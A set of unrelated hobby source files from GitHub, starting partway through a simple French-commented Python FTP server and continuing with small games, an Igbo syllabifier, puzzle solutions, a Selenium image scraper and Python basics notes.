self.serverSock.accept()\n\n @ftp_config\n def stopDataSock(self, abort=False):\n try:\n if self.pasv_mode:\n if abort:\n self.dataSock.shutdown(socket.SHUT_RDWR)\n self.dataSock.close()\n self.serverSock.close()\n except OSError:\n return\n\n class Clients:\n def __init__(self, conn, handle):\n self.queue = queue.Queue()\n self.conn = conn\n self.handle = handle\n\n class Codes_rep:\n def __init__(self):\n self.codes_rep_dict = dict()\n self.initial()\n\n def get_code_rep(self, code):\n return str(code)+\":\"+self.codes_rep_dict.get(code, \"code invalide\")\n\n def set_code_rep(self, reps):\n for key, value in reps.items():\n self.codes_rep_dict.update({key: value})\n\n def del_code_rep(self, code):\n return self.codes_rep_dict.pop(code, \"code introuvable\")\n\n def initial(self):\n reps = {\n 100: \"L'action demandee est lancee, attendre une autre reponse avant de proceder a une nouvelle commande.\",\n 110: \"Resynchronisation des marqueurs entre le client et le serveur.\",\n 120: \"Service pret dans nnn minutes.\",\n 125: \"Connexion etablie, transfert en cours de demarrage.\",\n 150: \"Statut du fichier ok ; Ouverture de la connexion en cours.\",\n 200: \"Action demandee accomplie avec succes.\",\n 202: \"Commande non prise en charge par ce site.\",\n 211: \"Statut du systeme, ou reponse d’aide du systeme.\",\n 212: \"Statut de repertoire.\",\n 213: \"Statut de fichier.\",\n 214: \"Message d'aide sur l'utilisation du serveur ou la signification d'une commande particuliere non-standard. Cette reponse est uniquement utile a un utilisateur humain.\",\n 215: \"Type NAME du systeme.\",\n 220: \"Service pret pour un nouvel utilisateur.\",\n 221: \"Deconnexion.\",\n 225: \"Connexion ouverte, aucun transfert de donnees en cours.\",\n 226: \"Transfert termine avec succes, fermeture de la connexion.\",\n 227: \"Mode passif.\",\n 228: \"Mode passif long.\",\n 229: \"Mode passif etendu.\",\n 230: \"Authentification reussie.\",\n 231: \"Utilisateur deconnecte. Fin de service.\",\n 232: \"Commande de deconnexion enregistree. S'effectuera a la fin du transfert.\",\n 250: \"Action sur le fichier executee avec succes.\",\n 257: \"PATHNAME cree.\",\n 300: \"La commande a ete acceptee, mais l'action demandee est en attente de plus amples informations.\",\n 331: \"Utilisateur reconnu. En attente du mot de passe.\",\n 332: \"Besoin d'un compte de connexion.\",\n 350: \"Requete en attente d’informations complementaires.\",\n 400: \"La commande n'a pas ete acceptee et l'action demandee n'a pas eu lieu, mais l'erreur est temporaire et l'action peut etre demandee a nouveau.\",\n 421: \"Timeout\",\n 425: \"Impossible d'etablir une connexion de donnees.\",\n 426: \"Connexion fermee ; transfert abandonne.\",\n 430: \"Identifiant ou mot de passe incorrect\",\n 434: \"Hôte demande indisponible.\",\n 450: \"Le fichier distant n'est pas disponible\",\n 451: \"Action requise arretee : Erreur locale dans le traitement.\",\n 452: \"Action requise arretee : Espace de stockage insuffisant ou fichier indisponible.\",\n 500: \"Erreur de syntaxe ; commande non reconnue et l'action demandee n'a pu s'effectuer.\",\n 501: \"Erreur de syntaxe dans les parametres ou les arguments.\",\n 502: \"Commande non implementee.\",\n 503: \"Mauvaise sequence de commande\",\n 504: \"Commande non implementee pour ces parametres\",\n 530: \"Connexion non etablie\",\n 532: \"Besoin d'un compte pour charger des fichiers.\",\n 550: \"Requete non executee : Fichier indisponible (ex., fichier introuvable, pas d'acces).\",\n 551: \"Requete arretee : Type de la page inconnu.\",\n 552: \"Requete arretee : Allocation memoire insuffisante.\",\n 553: \"Action non effectuee. Nom de fichier non autorise.\"\n }\n self.set_code_rep(reps)\n\n class Cmds_list:\n def __init__(self):\n self.cmds_dict = dict()\n self.initial()\n\n def get_cmd(self, cmd):\n return str(cmd)+\":\"+self.cmds_dict.get(cmd, \"command invalide\")\n\n def set_cmd(self, cmds):\n for key, value in cmds.items():\n self.cmds_dict.update({key: value})\n\n def del_code_rep(self, cmd):\n return self.cmds_dict.pop(cmd, \"command introuvable\")\n\n def initial(self):\n cmds = {\n \"ABOR\": \"Annuler un transfert.\",\n \"ACCT\": \"Information du compte.\",\n \"ADAT\": \"Authentification/Donnees de securite.\",\n \"ALLO\": \"Allouer assez d'espace disque pour recevoir un fichier.\",\n \"APPE\": \"Ajouter.\",\n \"AUTH\": \"Authentification/Mecanisme de securite.\",\n \"CCC\": \"Effacer le canal de commande.\",\n \"CDUP\": \"Transformer en repertoire parent.\",\n \"CONF\": \"Commande de protection de confidentialite\",\n \"CWD\": \"Changer le repertoire de travail.\",\n \"DELE\": \"Supprimer un fichier.\",\n \"ENC\": \"Canal de protection de la confidentialite.\",\n \"EPRT\": \"Specifie et definit les adresse et port par lesquels la connexion s'etablit.\",\n \"EPSV\": \"Entrer en mode passif etendu.\",\n \"FEAT\": \"Liste les fonctions supportees par le serveur en plus de ceux inclus dans la RFC 959.\",\n \"HELP\": \"Affiche l'aide d'une commande specifique ou l'aide globale.\",\n \"LANG\": \"Langue\",\n \"LIST\": \"Affiche les informations d'un fichier ou d'un repertoire specifique, ou du repertoire courant.\",\n \"LPRT\": \"Specifie et definit une longue adresse et le port par lesquels la connexion s'etablit.\",\n \"LPSV\": \"Se connecter en mode passif prolonge.\",\n \"MDTM\": \"Affiche la date de derniere modification d'un fichier.\",\n \"MIC\": \"Commande de protection d'integrite.\",\n \"MKD\": \"Creer un repertoire.\",\n \"MLSD\": \"Afficher la liste du contenu d'un repertoire.\",\n \"MLST\": \"Fournit des donnees sur l'objet nomme exactement sur la ligne de commande, et pas d'autres.\",\n \"MODE\": \"Definir le mode de transfert(Stream, Block, or Compressed).\",\n \"NLST\": \"Affiche la liste des noms des fichiers d'un repertoire.\",\n \"NOOP\": \"Aucune operation(Paquet factice souvent utilise pour maintenir la connexion).\",\n \"OPTS\": \"Selection d'options.\",\n \"PASS\": \"Mot de passe.\",\n \"PASV\": \"Connexion en mode passif.\",\n \"PBSZ\": \"Protection de la taille du Buffer.\",\n \"PORT\": \"Specifier une adresse et un port de connexion.\",\n \"PROT\": \"Niveau de canal de protection de donnees.\",\n \"PWD\": \"Afficher le repertoire de travail actuel sur la machine distante.\",\n \"QUIT\": \"Deconnecter.\",\n \"REIN\": \"Reinitialiser la connexion.\",\n \"REST\": \"Recommencer le transfert a partir d'un point specifique.\",\n \"RETR\": \"Recuperer la copie d'un fichier.\",\n \"RMD\": \"Supprimer un repertoire.\",\n \"RNFR\": \"Fichier a renommer(rename from)\",\n \"RNTO\": \"Renommer en(rename to)\",\n \"SITE\": \"Envoie une commande specifique de site au serveur distant.\",\n \"SIZE\": \"Affiche la taille d'un fichier.\",\n \"SMNT\": \"Monter la structure d'un fichier.\",\n \"STAT\": \"Affiche le statut courant.\",\n \"STOR\": \"Accepter les donnees et les enregistrer dans un fichier sur le serveur.\",\n \"STOU\": \"Enregistrer les fichiers de façon unique.\",\n \"STRU\": \"Definir la structure de transfert de fichier.\",\n \"SYST\": \"Afficher le type systeme.\",\n \"TYPE\": \"Definir le mode de transfert(ASCII/Binary).\",\n \"USER\": \"Nom d'utilisateur, identifiant.\",\n \"XCUP\": \"Transformer en parent du repertoire courant.\",\n \"XMKD\": \"Creer un repertoire\",\n \"XPWD\": \"Afficher le repertoire de travail courant.\",\n \"XRMD\": \"Supprimer un repertoire\",\n \"XSEM\": \"Envoyer un courrier electronique en cas d'erreur.\",\n \"XSEN\": \"Envoyer au terminal\"\n }\n self.set_cmd(cmds)\n\n #---------------------------------#\n ## Ftp serveur functions de base ##\n #---------------------------------#\n\n def start(self):\n self.sock.bind(self.addr)\n self.sock.listen(self.client_size)\n self.sock.setblocking(False)\n log(obj=\"Bienvenue le serveur Ftp Junxi!\",\n description=\"Listen on %s: %s\" % self.sock.getsockname())\n\n key = self.selector.register(\n self.sock, selectors.EVENT_READ, self._accept)\n\n threading.Thread(target=self._run, name=\"run\", daemon=True).start()\n\n def _run(self, poll_interval=0.5):\n self.__stop_request.clear()\n try:\n while not self.__stop_request.is_set():\n if self.__is_stop:\n break\n events = self.selector.select(poll_interval)\n for key, mask in events:\n if callable(key.data):\n callback = key.data\n else:\n callback = key.data.handle\n callback(key.fileobj, mask)\n finally:\n self.__is_stop = False\n self.__stop_request.set()\n\n def stop(self):\n self.__is_stop = True\n self.__stop_request.wait()\n self.fobjs = []\n for fobj, key in self.selector.get_map().items():\n key.fileobj.close()\n self.fobjs.append(fobj)\n\n for x in self.fobjs:\n self.selector.unregister(x)\n self.selector.close()\n\n def _accept(self, sock: socket.socket, mask):\n conn, client_addr = self.sock.accept()\n self.clients[client_addr] = self.Clients(conn, self._handle)\n conn.setblocking(False)\n log(\"New Client\", \"vient de %s: %s\" % client_addr)\n self.clients[client_addr].queue.put(self.sendWelcome())\n\n self.selector.register(conn, selectors.EVENT_READ |\n selectors.EVENT_WRITE, self.clients[client_addr])\n\n def _handle(self, conn, mask):\n try:\n remote = conn.getpeername()\n client = self.clients[remote]\n except OSError:\n return\n\n if mask & selectors.EVENT_READ == selectors.EVENT_READ:\n \"\"\"\n receive commands from client and execute commands\n \"\"\"\n try:\n data = conn.recv(1024).decode().strip()\n except ConnectionResetError:\n return\n\n if data != \"\" or data != None:\n log(\"Received data\", data)\n try:\n cmd, arg = data.split(\" \", 1)\n except ValueError:\n cmd, arg = data, None\n func = self.cmds_list.get_cmd(cmd.upper())\n if func.split(\":\")[1] == \"command invalide\":\n log(\"Receive\", \"command invalide\")\n client.queue.put(self.sendCommand(500))\n else:\n method = getattr(self, cmd.upper(), None)\n try:\n if method:\n if cmd.upper() in [\"LIST\", \"RETR\", \"STOR\"]:\n client.queue.put(method(conn, arg))\n else:\n client.queue.put(method(arg))\n else:\n client.queue.put(self.sendCommand(500))\n log(\"Receive\", \"command non prise en charge\")\n except (OSError, ConnectionResetError):\n self.ABOR()\n\n if mask & selectors.EVENT_WRITE == selectors.EVENT_WRITE:\n\n while not client.queue.empty():\n msg = client.queue.get()\n try:\n conn.send(msg)\n except OSError:\n return\n\n #------------------------------#\n ## Ftp services and functions ##\n #------------------------------#\n\n #-------------------------#\n ## Connexion/déconnexion ##\n #-------------------------#\n\n def USER(self, user):\n if not user:\n self.username = \"anonyme\"\n log(\"USER\", self.username)\n self.authenticated = True\n return self.sendCommand(230, \"Sur user anonyme.\")\n else:\n self.username = user\n log(\"USER\", self.username)\n return self.sendCommand(331)\n\n def PASS(self, passwd):\n log(\"PASS\", passwd)\n if not self.username:\n return self.sendCommand(503)\n if self.username != \"anonyme\":\n if not passwd:\n return self.sendCommand(501)\n else:\n self.passwd = passwd\n self.authenticated = True\n return self.sendCommand(230)\n else:\n return \"Aucun mot de passe requis sur user anonyme\\n\".encode(\"utf-8\")\n\n def NOOP(self, arg):\n return self.sendCommand(200)\n\n @ftp_config\n def HELP(self, arg):\n return self.sendCommand(214, repr(self.cmds_list.cmds_dict))\n\n @ftp_config\n def QUIT(self, arg):\n self.authenticated = False\n return self.sendCommand(221)\n\n #---------------------------------#\n ## Naviguer dans les répertoires ##\n #---------------------------------#\n\n @ftp_config\n def PASV(self, arg):\n self.pasv_mode = True\n self.serverSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.serverSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.serverSock.bind((self.addr[0], 0))\n self.serverSock.listen(self.client_size)\n pasv_addr, pasv_port = self.serverSock.getsockname()\n return self.sendCommand(227, \"Listen at (%s,%d,%d).\" % (\",\".join(pasv_addr.split(\".\")), pasv_port >> 8 & 0xFF, pasv_port & 0xFF))\n\n @ftp_config\n def LIST(self, conn, dirpath):\n if not dirpath:\n pathname = self.pathname\n elif dirpath.startswith(os.sep):\n pathname = os.path.abspath(dirpath)\n else:\n pathname = os.path.abspath(os.path.join(self.pathname, dirpath))\n if not os.path.exists(pathname):\n return self.sendCommand(550)\n else:\n conn.send(self.sendCommand(150))\n self.startDataSock()\n with os.scandir(pathname) as it:\n for entry in it:\n if entry.name.startswith(\".\"):\n continue\n try:\n self.dataSock.send(\n (self.fileProperty(entry) + \"\\n\").encode(\"utf-8\"))\n except Exception:\n continue\n self.stopDataSock()\n return self.sendCommand(226)\n\n @ftp_config\n def TYPE(self, arg):\n if arg == \"I\":\n self.mode_is_Ascii = False\n elif arg == \"A\":\n self.mode_is_Ascii = True\n else:\n return self.sendCommand(501)\n return self.sendCommand(200, \"Sur %s mode.\" % (\"Ascii\" if self.mode_is_Ascii else \"Binary\"))\n\n @ftp_config\n def SYST(self, arg):\n return self.sendCommand(215, \"%s type.\" % sys.platform)\n\n @ftp_config\n def PWD(self, arg):\n return self.sendCommand(257, \"'\" + self.pathname + \"'\")\n\n @ftp_config\n def CDUP(self, arg):\n self.pathname = os.path.dirname(self.pathname)\n if self.pathname == \"\" or None:\n self.pathname = \"/\"\n return self.sendCommand(200)\n\n @ftp_config\n def CWD(self, dirpath):\n pathname = dirpath.startswith(\n os.sep) and dirpath or os.path.join(self.pathname, dirpath)\n if not os.path.exists(pathname) or not os.path.isdir(pathname):\n return self.sendCommand(550)\n self.pathname = pathname\n return self.sendCommand(250)\n\n #-------------------------------------#\n ## Envoyer/recevoir des fichiers ##\n #-------------------------------------#\n\n @ftp_config\n def RETR(self, conn, filename):\n pathname = os.path.join(self.pathname, filename)\n if not os.path.exists(pathname):\n return self.sendCommand(550)\n try:\n if not self.mode_is_Ascii:\n file = open(pathname, \"rb\")\n else:\n file = open(pathname, \"r\")\n except OSError as err:\n log(\"RETR\", err)\n\n conn.send(self.sendCommand(150))\n if self.rest:\n file.seek(self.pos)\n self.rest = False\n\n self.startDataSock()\n while True:\n data = file.read(1024)\n if not data:\n break\n if self.mode_is_Ascii:\n self.dataSock.send(data.encode(\"utf-8\"))\n else:\n self.dataSock.send(data)\n file.close()\n self.stopDataSock()\n return self.sendCommand(226)\n\n @ftp_config\n def REST(self, pos):\n self.pos = int(pos)\n self.rest = True\n return self.sendCommand(350)\n\n @ftp_config\n def STOR(self, conn, filename):\n pathname = os.path.join(self.pathname, filename)\n try:\n if not self.mode_is_Ascii:\n file = open(pathname, \"wb\")\n else:\n file = open(pathname, \"w\")\n except OSError as err:\n log(\"STOR\", err)\n\n conn.send(self.sendCommand(150))\n if self.rest:\n file.seek(self.pos)\n self.rest = False\n\n self.startDataSock()\n while True:\n data = self.dataSock.recv(1024)\n if not data:\n break\n if self.mode_is_Ascii:\n file.write(data.decode(\"utf-8\"))\n else:\n file.write(data)\n file.close()\n self.stopDataSock()\n return self.sendCommand(226)\n\n @ftp_config\n def APPE(self, filename):\n pathname = os.path.join(self.pathname, filename)\n if not os.path.exists(pathname):\n if not self.mode_is_Ascii:\n file = open(pathname, \"wb\")\n else:\n file = open(pathname, \"w\")\n while True:\n data = self.dataSock.recv(1024)\n if not data:\n break\n if self.mode_is_Ascii:\n file.write(data.decode(\"utf-8\"))\n else:\n file.write(data)\n else:\n n = 1\n while os.path.exists(pathname):\n filename, extname = os.path.splitext(pathname)\n pathname = filename + \"(%s)\" % n + extname\n n += 1\n\n if not self.mode_is_Ascii:\n file = open(pathname, \"wb\")\n else:\n file = open(pathname, \"w\")\n while True:\n data = self.dataSock.recv(1024)\n if not data:\n break\n if self.mode_is_Ascii:\n file.write(data.decode(\"utf-8\"))\n else:\n file.write(data)\n file.close()\n self.stopDataSock()\n return self.sendCommand(226)\n\n @ftp_config\n def ABOR(self, arg):\n self.stopDataSock(True)\n return self.sendCommand(226)\n\n #---------------------------#\n ## Manipulation de fichier ##\n #---------------------------#\n\n @ftp_config\n def DELE(self, filename):\n pathname = os.path.join(self.pathname, filename)\n if not os.path.exists(pathname):\n return self.sendCommand(550)\n\n elif not self.allow_delete:\n return self.sendCommand(450)\n\n else:\n os.remove(pathname)\n return self.sendCommand(250)\n\n @ftp_config\n def MKD(self, dirname):\n pathname = os.path.join(self.pathname, dirname)\n\n try:\n os.mkdir(pathname)\n return self.sendCommand(257)\n except OSError:\n return self.sendCommand(550, \"'%s' already exists.\" % pathname)\n\n @ftp_config\n def RMD(self, dirname):\n pathname = os.path.join(self.pathname, dirname)\n if not self.allow_delete:\n return self.sendCommand(450)\n\n elif not os.path.exists(pathname):\n return self.sendCommand(550)\n\n else:\n shutil.rmtree(pathname)\n return self.sendCommand(250)\n\n @ftp_config\n def RNFR(self, filename):\n pathname = os.path.join(self.pathname, filename)\n if not os.path.exists(pathname):\n return self.sendCommand(550)\n else:\n self.oldname = pathname\n return self.sendCommand(350)\n\n @ftp_config\n def RNTO(self, filename):\n pathname = os.path.join(self.pathname, filename)\n if os.path.exists(pathname):\n return self.sendCommand(550)\n else:\n try:\n os.rename(self.oldname, pathname)\n return self.sendCommand(250)\n except OSError as err:\n log(\"RNTO\", err)\n return self.sendCommand(553)\n\n #----------------------------------------#\n ## Ftp serveur functions supplémentaire ##\n #----------------------------------------#\n\n def sendWelcome(self):\n \"\"\"\n when connection created with client will send a welcome message to the client\n \"\"\"\n return self.sendCommand(220)\n\n @ftp_config\n def REIN(self, arg):\n self.initial()\n return self.sendCommand(220)\n\ndef main():\n fs = FTPServer()\n fs.start()\n e = threading.Event()\n while not e.wait(1):\n cmd = input(\n \">>>> Pour fermer le serveur, veuillez taper q.\\n\").lower().strip()\n if cmd == \"q\":\n fs.stop()\n e.wait(3)\n break\n\n\nif __name__ == \"__main__\":\n\n print(str_color(\"Faire reference a\", 36) +\n str_color(\"https://github.com/jacklam718/ftp/\", 34))\n main()\n","repo_name":"zjxjohnxtlxb/simpleftpserver","sub_path":"simpleftpserver.py","file_name":"simpleftpserver.py","file_ext":"py","file_size_in_byte":26874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40996348491","text":"import pygame\nimport random\n\nfrom dino_runner.components.power_ups.shield import Shield\nfrom dino_runner.components.power_ups.hammer import Hammer\n\n\nclass PowerUpManager:\n random_power_appears = random.randint(100, 200)\n\n def __init__(self):\n self.power_ups = []\n self.when_appears = self.random_power_appears\n self.duration = random.randint(3, 5)\n\n def generate_power_up(self):\n list_power_ups = [Shield(), Hammer()]\n power_up = list_power_ups[random.randint(0, 1)]\n self.when_appears += self.random_power_appears\n self.power_ups.append(power_up)\n \n def update(self, game):\n if len(self.power_ups) == 0 and self.when_appears == game.score.total_score():\n self.generate_power_up()\n \n for power_up in self.power_ups:\n power_up.update(game.game_speed, self.power_ups)\n if game.player.dino_rect.colliderect(power_up):\n power_up.start_time = pygame.time.get_ticks()\n game.player.type = power_up.type\n game.player.has_power_up = True\n game.player.power_time_up = power_up.start_time + (self.duration * 1000)\n self.power_ups.remove(power_up)\n\n def draw(self, screen):\n for power_up in self.power_ups:\n power_up.draw(screen)\n \n def reset(self):\n self.power_ups = []\n self.when_appears = self.random_power_appears\n","repo_name":"jaroldhakins/Dino-Game","sub_path":"dino_runner/components/power_ups/power_up_manager.py","file_name":"power_up_manager.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69879844569","text":"import re\nimport sys\n\nGAME_ON = True\nWINNER = ''\nboard =[' 1 | 2 | 3 ',\n '-----------',\n ' 4 | 5 | 6 ',\n '-----------',\n ' 7 | 8 | 9 ']\n\nfor board_parts in board:\n print(board_parts)\n\nnew_board = board\ncontainer_board = []\n\nwhile GAME_ON:\n\n def effect_win_cond(player):\n global GAME_ON\n global WINNER\n\n GAME_ON = False\n WINNER = player\n print(f'{WINNER} win')\n\n\n # check player win conditions\n def player_win(val):\n\n #check horizontal win conditions\n for x in range(0, 5):\n if new_board[x][1] == val and new_board[x][5] == val and new_board[x][9] == val:\n if val == 'X':\n effect_win_cond('player 1 ')\n else:\n effect_win_cond('player 2 ')\n sys.exit()\n\n #check vertical win conditions\n for x in range(0, 11):\n if new_board[0][x] == val and new_board[2][x] == val and new_board[4][x] == val:\n if val == 'X':\n effect_win_cond('player 1 ')\n else:\n effect_win_cond('player 2 ')\n sys.exit()\n\n #check diagonal win\n if new_board[0][1] == val and new_board[2][5] == val and new_board[4][9] == val:\n if val == 'X':\n effect_win_cond('player 1 ')\n else:\n effect_win_cond('player 2 ')\n sys.exit()\n elif new_board[0][9] == val and new_board[2][5] == val and new_board[4][1] == val:\n if val == 'X':\n effect_win_cond('player 1 ')\n else:\n effect_win_cond('player 2 ')\n sys.exit()\n\n\n player1_input = input('Player 1 select your position :')\n for replace_board in new_board:\n replace_value = re.sub(player1_input, 'X', replace_board)\n container_board.append(replace_value)\n\n new_board = container_board\n container_board = []\n player_win('X')\n\n for board_parts in new_board:\n print(board_parts)\n\n\n\n player2_input = input('Player 2 select your position :')\n for replace_board in new_board:\n replace_value2 = re.sub(player2_input, \"Ø\", replace_board)\n container_board.append(replace_value2)\n\n new_board = container_board\n container_board = []\n player_win('Ø')\n\n for board_parts in new_board:\n print(board_parts)\n\n\n\n\n\n\n","repo_name":"asapluiz/tic_tac_toe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71507589847","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"This is the Igbo rule-based syllabification algorithm.\n\"\"\"\n\n__author__ = \"Daniel van Niekerk\"\n__email__ = \"dvn.demitasse@gmail.com\"\n\nimport sys\n\nfrom syllabifier import Syllabifier, main\n\n\nclass IgboSyllabifier(Syllabifier):\n def syllabify(self, phones):\n def breakcluster(cluster):\n if not cluster:\n bounds.append(ci) #Always V.V\n elif len(cluster) == 1:\n bounds.append(ci) #Always V.CV (open syllables)\n elif len(cluster) == 2:\n if self.is_syllabic(cluster[0]):\n #V.sC.CV\n bounds.append(ci)\n bounds.append(ci + 1)\n return\n #DEFAULT: V.CCV\n print(\"syllabify(): WARNING: onset cluster not considered valid: '{}' in '{}'\".format(\"\".join(cluster),\"\".join(phones)), file=sys.stderr)\n bounds.append(ci)\n else:\n print(\"syllabify(): WARNING: unexpectedly long consonant cluster found: '{}' in '{}'\"\\\n .format(\"\".join(cluster), \"\".join(phones)), file=sys.stderr) \n if self.is_syllabic(cluster[0]):\n #V.sC.*V\n bounds.append(ci) \n bounds.append(ci + 1)\n else:\n #V.*V (generally: prefer open syllables)\n bounds.append(ci) \n\n v_inds = self._vowelindices(phones)\n bounds = []\n if v_inds:\n #Onset cluster (syllabic consonant?)\n if not 0 in v_inds:\n span = phones[0:v_inds[0]+1]\n cluster = phones[0:v_inds[0]]\n ci = 0\n breakcluster(cluster)\n bounds.pop(0)\n #Other clusters\n for i, j in zip(v_inds, v_inds[1:]):\n span = phones[i:j+1]\n cluster = span[1:-1]\n ci = i+1\n breakcluster(cluster)\n #Word-final cluster?\n cluster = phones[v_inds[-1]+1:]\n if cluster:\n ci = v_inds[-1]+1\n if len(cluster) == 1 and self.is_syllabic(cluster[0]):\n bounds.append(ci)\n else:\n print(\"syllabify(): WARNING: word-final cluster not considered valid: '{}' in '{}'\".format(\"\".join(cluster), \"\".join(phones)), file=sys.stderr)\n else:\n print(\"syllabify(): WARNING: no vowels found in word '{}'\".format(\"\".join(phones)), file=sys.stderr)\n \n #Convert sylbounds to syllable lists\n sylls = []\n startbound = 0\n for bound in bounds:\n sylls.append(phones[startbound:bound])\n startbound = bound\n sylls.append(phones[startbound:])\n return sylls\n\nif __name__ == \"__main__\":\n main(IgboSyllabifier)\n","repo_name":"ttslab/za_lex","sub_path":"scripts/syl_ibo.py","file_name":"syl_ibo.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73864127768","text":"import hashlib\n\nINPUT = 'iwrupvqb{}'\n\n\ndef solve_puzzle_one():\n i = 0\n while True:\n s = INPUT.format(i)\n this_hash = hashlib.md5(s.encode())\n if this_hash.hexdigest().startswith('000000'):\n return i\n i += 1\n if i % 1000 == 0:\n print(i)\n\n\nif __name__ == '__main__':\n print(f'Solve 1: {solve_puzzle_one()}')\n","repo_name":"tylertrussell/revival-of-code","sub_path":"src/day4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31298225996","text":"def B():\n\n\tn = int(input())\n\n\tobeliscs = set()\n\tclues = set()\n\n\tfor i in range(n):\n\t\txy = input().split()\n\t\txi , yi = int(xy[0]) , int(xy[1])\n\n\t\tobeliscs.add((xi,yi))\n\n\tfor i in range(n):\n\t\txy = input().split()\n\t\txi , yi = int(xy[0]) , int(xy[1])\n\t\tclues.add((xi,yi))\n\n\ttreasure = 0\n\tclue_sample = list(clues)[0]\n\n\tfor o in obeliscs:\n\t\ttreasure = (o[0]+clue_sample[0],o[1]+clue_sample[1])\n\t\tfor o2 in obeliscs:\n\t\t\tif( (treasure[0]-o2[0],treasure[1]-o2[1]) not in clues):\n\t\t\t\ttreasure = None\n\t\t\t\tbreak\n\n\t\tif(treasure):\t\t\t\n\t\t\tprint( \" \".join( ( str(treasure[0]), str(treasure[1]) ) ) )\n\t\t\treturn\n\nB()","repo_name":"julianferres/Codeforces","sub_path":"GoodBye 2018/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"16145009368","text":"from dataclasses import dataclass\nfrom icecream import ic\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom urllib3.exceptions import InsecureRequestWarning\nimport urllib3\nimport time\nimport requests\nimport os\n\nfrom typing import List\n\n\n@dataclass\nclass Scraping:\n # 検索する単語\n word: str\n # 探索する画像の枚数\n num: int\n\n def __post_init__(self):\n if self.num > 400:\n self.num = 400\n print(\"探索できる最大件数は400までです。\")\n\n def get_image_url(self) -> List[str]:\n \"\"\"\n クロームを起動。\n 指定されたキーワードについて画像検索\n 指定された数だけ画像のURLを取得\n :return: URLの配列\n \"\"\"\n op: Options = Options()\n # seleniumのオプション\n op.add_argument(\"--disable-gpu\")\n op.add_argument(\"--disable-extensions\")\n op.add_argument(\"--proxy-server='direct://'\")\n op.add_argument(\"--proxy-bypass-list=*\")\n op.add_argument(\"--start-maximized\")\n op.add_argument(\"--headless\")\n\n # Chrome立ち上げ(オプションで画面上に現れないように設定)\n driver: webdriver = webdriver.Chrome(options=op)\n driver.implicitly_wait(2)\n # 検索用URL\n search_url = \"https://www.google.com/search?safe=off&site=&tbm=isch&source=hp&q={q}&oq={q}&gs_l=img\"\n # URLの設定\n print(\"launch browser\")\n driver.get(search_url.format(q=self.word))\n # ページをスクロールして読み込める画像を増加\n try:\n while True:\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n time.sleep(1.5)\n # サムネイルを取得\n thumbnail_results = driver.find_elements_by_css_selector(\"img.rg_i\")\n print(len(thumbnail_results))\n if len(thumbnail_results) >= self.num:\n print(\"Search finished!\")\n break\n else:\n print(\"now searching\")\n\n # URLのリスト\n image_urls = []\n # 各サムネイルごとに処理\n count: int = 0\n for img in thumbnail_results:\n try:\n # サムネイルをクリック\n print(\"click image\")\n img.click()\n time.sleep(2)\n except Exception:\n continue\n # 一発でurlを取得できないので、候補を出してから絞り込む\n # 'n3VNCb'は変更されることある\n url_candidates = driver.find_elements_by_class_name('n3VNCb')\n # 候補ごとに処理\n for candidate in url_candidates:\n url = candidate.get_attribute('src')\n if url and 'https' in url:\n # jpg画像のURLをリストにセット\n if os.path.splitext(url)[1] == \".jpg\":\n ic(url)\n image_urls.append(url)\n count += 1\n if count >= self.num:\n raise Exception\n except Exception:\n pass\n\n time.sleep(5)\n driver.quit()\n return image_urls\n\n def download_img(self, url_list: List[str]):\n \"\"\"\n URLの画像をダウンロード\n :param url_list: URLのリスト\n :return: 無し\n \"\"\"\n # 警告を無視\n urllib3.disable_warnings(InsecureRequestWarning)\n # リストをループ\n for index, url in enumerate(url_list):\n try:\n with requests.get(url, verify=False, stream=True)as res:\n with open('./顔_元画像/' + self.word + '/' + format(index, '03') + self.word + '.jpg', 'wb')as image:\n image.write(res.content)\n except Exception:\n print(\"Failed download\")\n\n def make_directory(self):\n \"\"\"\n 画像保存用のディレクトリを作成\n :return:無し\n \"\"\"\n # ディレクトリが存在しない場合\n if not os.path.isdir(self.word):\n # 作成\n os.makedirs(self.word)\n ic(\"make directory \" + self.word)\n else:\n ic(\"The folder : \" + self.word + \" already exists.\")\n\n\nif __name__ == '__main__':\n human_name = ['花澤香菜']\n scraping = Scraping('', 400)\n for name in human_name:\n scraping.word = name\n image_url = scraping.get_image_url()\n scraping.make_directory()\n scraping.download_img(image_url)\n","repo_name":"always-reach/scraping","sub_path":"scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":4821,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24788703150","text":"# 변수 기본\nn = 1\nname = 'Sung'\nn = n + 2\nvalue = 1.2 * n\n\n# print('{0} = 1.2 * {1}'.format(value, n))\n# print(name)\n\n# 문자(배열) 인덱스 방법\ngreeting = 'Hello World'\n# print(greeting[0]) # H\n# print(greeting[2:5]) # llo\n# print(greeting[:2]) # l\n# print(greeting[-2:]) # ld\n# print(greeting * 2)\n\n# List\nnumbers = [0, 1, 2, 3]\n# print(numbers)\n# print(numbers[0])\n# print(numbers[2:4])\nnames = ['Kim', 'Lee', 'Park', 'Choi']\narray = numbers + names\n# print(array)\n# print(array[-1])\n# print(array * 2)\narray[3] = 7\n# print(array)\n\n# Tuple\nperson = ('Kim', 24, 'male')\nprint(person)\nprint(person[1])\n#person[1] = 45\nname, age, gender = person\nprint(gender)\n\nprint('github 추가 